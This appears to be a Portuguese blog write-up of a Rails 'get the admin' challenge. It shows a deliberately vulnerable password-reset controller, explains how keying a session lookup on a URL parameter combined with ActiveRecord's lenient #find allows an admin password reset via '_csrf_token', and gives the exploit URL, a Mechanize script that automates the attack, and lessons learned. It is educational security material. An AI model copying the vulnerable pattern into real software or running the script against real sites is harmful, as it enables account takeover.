1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
# Try to become "admin" on https://gettheadmin.herokuapp.com/ # Vector borrowed from real-world code ;) # config/routes.rb: root 'login#login' post 'login' => 'login#login' get 'reset/:token' => 'login#password_reset' # app/controllers/login_controller.rb class LoginController < ApplicationController def login if request.post? user = User.where(login: params[:login]).first if !user.nil? if params[:password] == user.password render :text => "censored" end render :text => "Wrong Password" return end else render :template => "login/form" end end def password_reset @user = User.where(token: params[:token]).first if @user session[params[:token]] = @user.id else user_id = session[params[:token]] @user = User.find(user_id) if user_id end if !@user render :text => "no way!" return elsif params[:password] && @user && params[:password].length > 6 @user.password = params[:password] if @user.save render :text => "password changed ;)" return end end render :text => "error saving password!" end end |
Basicamente um trecho do arquivo de routes.rb e o login_controller.rb. Assuma que também tem um form que poderia ser algo assim:
1 2 3 4 5 |
<%= form_tag '/login', method: :post do %> <%= text_field_tag 'login' %> <%= password_field_tag 'password' %> <%= submit_tag 'login' %> <% end %> |
E um model chamado User que poderia ter a seguinte migration:
1 2 3 4 5 6 7 8 9 10 11 |
class CreateUsers < ActiveRecord::Migration def change create_table :users do |t| t.string :token t.string :login t.string :password t.timestamps end end end |
E, finalmente, um seed que poderia ter o seguinte:
1 |
User.create token: 'qualquercoisa', login: 'admin', password: 'qualquercoisa' |
Primeiro entenda o que o controller faz:
- tem uma action simples de login que valida o POST de usuário e senha e renderiza o form de login.
- tem uma action de reset_password que atende a rota reset/:token.
Quando o form é renderizado, ele gera um HTML assim:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<!DOCTYPE html> <html> <head> <title>Gettheadmin</title> <link data-turbolinks-track="true" href="/assets/application-9cc0575249625b8d8648563841072913.css" media="all" rel="stylesheet" /> <script data-turbolinks-track="true" src="/assets/application-baf6c4c3436bbd5accc1b87ff9b9eabe.js"></script> <meta content="authenticity_token" name="csrf-param" /> <meta content="857GlwfWLYjv66EGyXa4d7PNUkPZleMgWcL+biMpDzE=" name="csrf-token" /> </head> <body> <form accept-charset="UTF-8" action="/login" method="post"><div style="display:none"><input name="utf8" type="hidden" value="✓" /><input name="authenticity_token" type="hidden" value="857GlwfWLYjv66EGyXa4d7PNUkPZleMgWcL+biMpDzE=" /></div> <input id="login" name="login" type="text" /> <input id="password" name="password" type="password" /> <input name="commit" type="submit" value="login" /> </form> </body> </html> |
O importante: o token CSRF na tag de meta. Ele é diferente toda vez que você puxa o formulário e serve para evitar Cross Site Request Forgery. Mas tem um detalhe importante: quando a session é inicializada ele sempre vai ter pelo menos duas chave-valor: uma que é a "session_id" e outra com a chave "_csrf_token" com o valor que aparece no HTML justamente para fazer a checagem.
E a parte que é o buraco no controller é este:
1 2 |
user_id = session[params[:token]] @user = User.find(user_id) if user_id |
Se o params[:token] for "_csrf_token", o equivalente ficaria assim:
1 |
@user = User.find(session['_csrf_token']) |
Agora, sabemos que o User.create inicial vai criar um admin com o ID que será o inteiro "1". O método #find aceita não só números como strings (para o caso, por exemplo, onde você cria uma renderização alternativa de ID para fazer URLs bonitas como no Wordpress onde ficaria "/1-admin" em vez de "/1").
Quando você faz:
1 |
"1abcd".to_i # => 1 |
Note que ele ignora o que não é string e devolve o inteiro 1.
Portanto, basta dar reload no site até o "_csrf_token" começar com "1" seguindo de letras. Aí ele vai fazer User.find("1abcd") que é o mesmo que User.find(1) e pronto! Conseguimos o usuário. E para piorar, o código do controller ainda faz isso em seguinte:
1 2 3 4 5 6 7 |
if params[:password] && @user && params[:password].length > 6 @user.password = params[:password] if @user.save render :text => "password changed ;)" return end end |
Ou seja, ele grava a nova senha que você passar como parâmetro. Portanto a URL para exploit é:
1 |
https://gettheadmin.herokuapp.com/reset/_csrf_token?password=1234567 |
E para automatizar o exploit, fiz este pequeno script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
require 'rubygems' require 'mechanize' 100.times do agent = Mechanize.new { |agent| agent.user_agent_alias = 'Mac Safari' } page = agent.get("https://gettheadmin.herokuapp.com/") token = page.at('meta[@name="csrf-token"]')[:content] puts token if token =~ /^1\w+/ puts "TRYING EXPLOIT!!" doc = agent.get('https://gettheadmin.herokuapp.com/reset/_csrf_token?password=1234567') break if doc.content =~ /password changed/ end end |
Quando o script parar, a senha mudou pra "1234567", agora basta fazer login com o usuário "admin" e senha "1234567" e pronto, você está dentro!
E eu coloquei 100 vezes, mas muito antes disso já vai parar porque não demora muito pra um "_csrf_token" que começa com "1".
Lições aprendidas:
A session tem valores por padrão! Nunca busque chaves na session baseado diretamente num parâmetro de URL. Aliás, nunca confie em parâmetros de URL
Cuidado com o método #find do ActiveRecord por causa da conversão implícita de string para integer.
Use uma biblioteca que já cuida desses detalhes como o Devise
Assista aos screencasts do RubyTapas que falam justamente sobre conversões de strings:
- 206. Coersion
- 207. Conversion Function
- 208. Lenient Conversions
- 209. Explicit Conversion
- 210. Implicit Conversion
Alguém conseguiu explorar e mudar a senha de admin de outra forma diferente desta? Não deixe de comentar abaixo.